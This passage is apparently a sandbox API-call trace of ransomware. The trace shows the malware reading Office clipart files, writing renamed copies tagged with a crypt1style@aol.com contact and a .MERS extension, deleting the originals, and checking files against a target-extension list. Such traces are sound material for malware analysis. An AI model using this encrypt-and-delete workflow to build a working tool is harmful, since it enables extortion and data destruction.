office\\clipart\\pub60cor\\bl00921_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.787] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.787] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0272.787] GetLastError () returned 0x0 [0272.787] ReadFile (in: hFile=0x388, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x1138, lpOverlapped=0x0) returned 1 [0272.824] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x1140, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x1140, lpOverlapped=0x0) returned 1 [0272.824] ReadFile (in: hFile=0x388, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.824] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.825] SetEndOfFile (hFile=0x3c4) returned 1 [0272.825] CloseHandle (hObject=0x3c4) returned 1 [0272.825] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.825] SetEndOfFile (hFile=0x388) returned 1 [0272.826] CloseHandle (hObject=0x388) returned 1 [0272.826] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.827] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bl00921_.wmf")) returned 1 [0272.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0272.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0272.827] lstrlenW (lpString=".doc") returned 4 [0272.827] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.827] lstrlenW (lpString=".docx") returned 5 [0272.827] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.827] lstrlenW (lpString=".pdf") returned 4 [0272.827] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.827] lstrlenW (lpString=".xls") returned 4 [0272.827] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.827] lstrlenW (lpString=".xlsx") returned 5 [0272.827] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.827] lstrlenW (lpString=".ppt") returned 4 [0272.827] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.827] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0272.827] lstrlenW (lpString=".zip") returned 4 [0272.827] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.827] lstrlenW (lpString=".rar") returned 4 [0272.827] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.827] lstrlenW (lpString=".bz2") returned 4 [0272.827] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.827] lstrlenW (lpString=".7z") returned 3 [0272.827] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0272.828] lstrlenW (lpString=".dbf") returned 4 [0272.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0272.828] lstrlenW (lpString=".1cd") returned 4 [0272.828] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0272.828] lstrlenW (lpString=".jpg") returned 4 [0272.828] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0272.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0272.828] lstrlenW (lpString=".doc") returned 4 [0272.828] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.828] lstrlenW (lpString=".docx") returned 5 [0272.828] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.828] lstrlenW (lpString=".pdf") returned 4 [0272.828] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.828] lstrlenW (lpString=".xls") returned 4 [0272.828] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.828] lstrlenW (lpString=".xlsx") returned 5 [0272.828] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.828] lstrlenW (lpString=".ppt") returned 4 [0272.828] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0272.828] lstrlenW (lpString=".zip") returned 4 [0272.828] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.828] lstrlenW (lpString=".rar") returned 4 [0272.828] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.828] lstrlenW (lpString=".bz2") returned 4 [0272.828] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.828] lstrlenW (lpString=".7z") returned 3 [0272.828] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.828] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0272.828] lstrlenW (lpString=".dbf") returned 4 [0272.828] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0272.829] lstrlenW (lpString=".1cd") returned 4 [0272.829] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BL00921_.WMF") returned 63 [0272.829] lstrlenW (lpString=".jpg") returned 4 [0272.829] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.829] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.829] lstrlenW (lpString="BS00076_.WMF") returned 12 [0272.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.829] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=1330) returned 1 [0272.829] CloseHandle (hObject=0x388) returned 1 [0272.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf")) returned 0x20 [0272.829] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.829] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.829] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.829] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.830] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0272.830] GetLastError () returned 0x0 [0272.830] ReadFile (in: hFile=0x388, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x532, lpOverlapped=0x0) returned 1 [0272.895] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x540, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x540, lpOverlapped=0x0) returned 1 [0272.896] ReadFile (in: hFile=0x388, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.896] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.896] SetEndOfFile (hFile=0x3c4) returned 1 [0272.896] CloseHandle (hObject=0x3c4) returned 1 [0272.896] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.896] SetEndOfFile (hFile=0x388) returned 1 [0272.898] CloseHandle (hObject=0x388) returned 1 [0272.898] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.898] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00076_.wmf")) returned 1 [0272.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0272.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0272.901] lstrlenW (lpString=".doc") returned 4 [0272.901] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.901] lstrlenW (lpString=".docx") returned 5 [0272.901] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.901] lstrlenW (lpString=".pdf") returned 4 [0272.901] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.901] lstrlenW (lpString=".xls") returned 4 [0272.901] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.901] lstrlenW (lpString=".xlsx") returned 5 [0272.901] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.901] lstrlenW (lpString=".ppt") returned 4 [0272.901] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0272.901] lstrlenW (lpString=".zip") returned 4 [0272.901] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.901] lstrlenW (lpString=".rar") returned 4 [0272.901] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.901] lstrlenW (lpString=".bz2") returned 4 [0272.901] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.901] lstrlenW (lpString=".7z") returned 3 [0272.901] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0272.901] lstrlenW (lpString=".dbf") returned 4 [0272.901] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0272.901] lstrlenW (lpString=".1cd") returned 4 [0272.901] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0272.901] lstrlenW (lpString=".jpg") returned 4 [0272.901] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.901] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0272.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0272.902] lstrlenW (lpString=".doc") returned 4 [0272.902] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.902] lstrlenW (lpString=".docx") returned 5 [0272.902] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.902] lstrlenW (lpString=".pdf") returned 4 [0272.902] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.902] lstrlenW (lpString=".xls") returned 4 [0272.902] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.902] lstrlenW (lpString=".xlsx") returned 5 [0272.902] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.902] lstrlenW (lpString=".ppt") returned 4 [0272.902] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0272.902] lstrlenW (lpString=".zip") returned 4 [0272.902] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.902] lstrlenW (lpString=".rar") returned 4 [0272.902] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.902] lstrlenW (lpString=".bz2") returned 4 [0272.902] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.902] lstrlenW (lpString=".7z") returned 3 [0272.902] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0272.902] lstrlenW (lpString=".dbf") returned 4 [0272.902] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0272.902] lstrlenW (lpString=".1cd") returned 4 [0272.902] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.902] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00076_.WMF") returned 63 [0272.902] lstrlenW (lpString=".jpg") returned 4 [0272.902] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.902] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.903] lstrlenW (lpString="BS00100_.WMF") returned 12 [0272.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.903] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=2378) returned 1 [0272.903] CloseHandle (hObject=0x388) returned 1 [0272.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf")) returned 0x20 [0272.903] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0272.903] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.903] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf.id-9c354b42.[crypt1style@aol.com].mers"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0272.904] GetLastError () returned 0x0 [0272.904] ReadFile (in: hFile=0x388, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x94a, lpOverlapped=0x0) returned 1 [0272.929] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0x950, lpOverlapped=0x0) returned 1 [0272.929] ReadFile (in: hFile=0x388, lpBuffer=0x3fb0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x336fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesRead=0x336fed4*=0x0, lpOverlapped=0x0) returned 1 [0272.929] WriteFile (in: hFile=0x3c4, lpBuffer=0x3fb0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x336fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fb0020*, lpNumberOfBytesWritten=0x336fc9c*=0xec, lpOverlapped=0x0) returned 1 [0272.929] SetEndOfFile (hFile=0x3c4) returned 1 [0272.930] CloseHandle (hObject=0x3c4) returned 1 [0272.930] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.930] SetEndOfFile (hFile=0x388) returned 1 [0272.931] CloseHandle (hObject=0x388) returned 1 [0272.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF.id-9C354B42.[crypt1style@aol.com].MERS", dwFileAttributes=0x20) returned 1 [0272.932] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00100_.wmf")) returned 1 [0272.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0272.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0272.932] lstrlenW (lpString=".doc") returned 4 [0272.932] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.932] lstrlenW (lpString=".docx") returned 5 [0272.932] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.932] lstrlenW (lpString=".pdf") returned 4 [0272.932] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.932] lstrlenW (lpString=".xls") returned 4 [0272.932] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.932] lstrlenW (lpString=".xlsx") returned 5 [0272.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.932] lstrlenW (lpString=".ppt") returned 4 [0272.932] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0272.932] lstrlenW (lpString=".zip") returned 4 [0272.932] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.932] lstrlenW (lpString=".rar") returned 4 [0272.932] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.938] lstrlenW (lpString=".bz2") returned 4 [0272.938] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.938] lstrlenW (lpString=".7z") returned 3 [0272.938] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0272.938] lstrlenW (lpString=".dbf") returned 4 [0272.938] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0272.938] lstrlenW (lpString=".1cd") returned 4 [0272.938] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0272.938] lstrlenW (lpString=".jpg") returned 4 [0272.938] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0272.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0272.938] lstrlenW (lpString=".doc") returned 4 [0272.938] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0272.938] lstrlenW (lpString=".docx") returned 5 [0272.938] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0272.938] lstrlenW (lpString=".pdf") returned 4 [0272.938] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0272.938] lstrlenW (lpString=".xls") returned 4 [0272.938] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0272.938] lstrlenW (lpString=".xlsx") returned 5 [0272.938] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0272.938] lstrlenW (lpString=".ppt") returned 4 [0272.938] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0272.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0272.938] lstrlenW (lpString=".zip") returned 4 [0272.939] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0272.939] lstrlenW (lpString=".rar") returned 4 [0272.939] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0272.939] lstrlenW (lpString=".bz2") returned 4 [0272.939] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0272.939] lstrlenW (lpString=".7z") returned 3 [0272.939] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0272.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0272.939] lstrlenW (lpString=".dbf") returned 4 [0272.939] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0272.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0272.939] lstrlenW (lpString=".1cd") returned 4 [0272.939] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0272.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00100_.WMF") returned 63 [0272.939] lstrlenW (lpString=".jpg") returned 4 [0272.939] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0272.939] lstrcmpiW (lpString1=".WMF", lpString2=".MERS") returned 1 [0272.939] lstrlenW (lpString="BS00184_.WMF") returned 12 [0272.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0272.943] GetFileSizeEx (in: hFile=0x3c4, lpFileSize=0x336ff1c | out: lpFileSize=0x336ff1c*=4976) returned 1 [0272.943] CloseHandle (hObject=0x3c4) returned 1 [0272.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf")) returned 0x20 [0272.943] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf.id-9c354b42.[crypt1style@aol.com].mers")) returned 0xffffffff [0272.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0272.943] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.943] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x336fec8 | out: lpNewFilePointer=0x0) returned 1 [0272.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00184_.WMF.id-9C354B42.[crypt1style@aol.com].MERS" (normalized: "c:\\program files\\microsoft 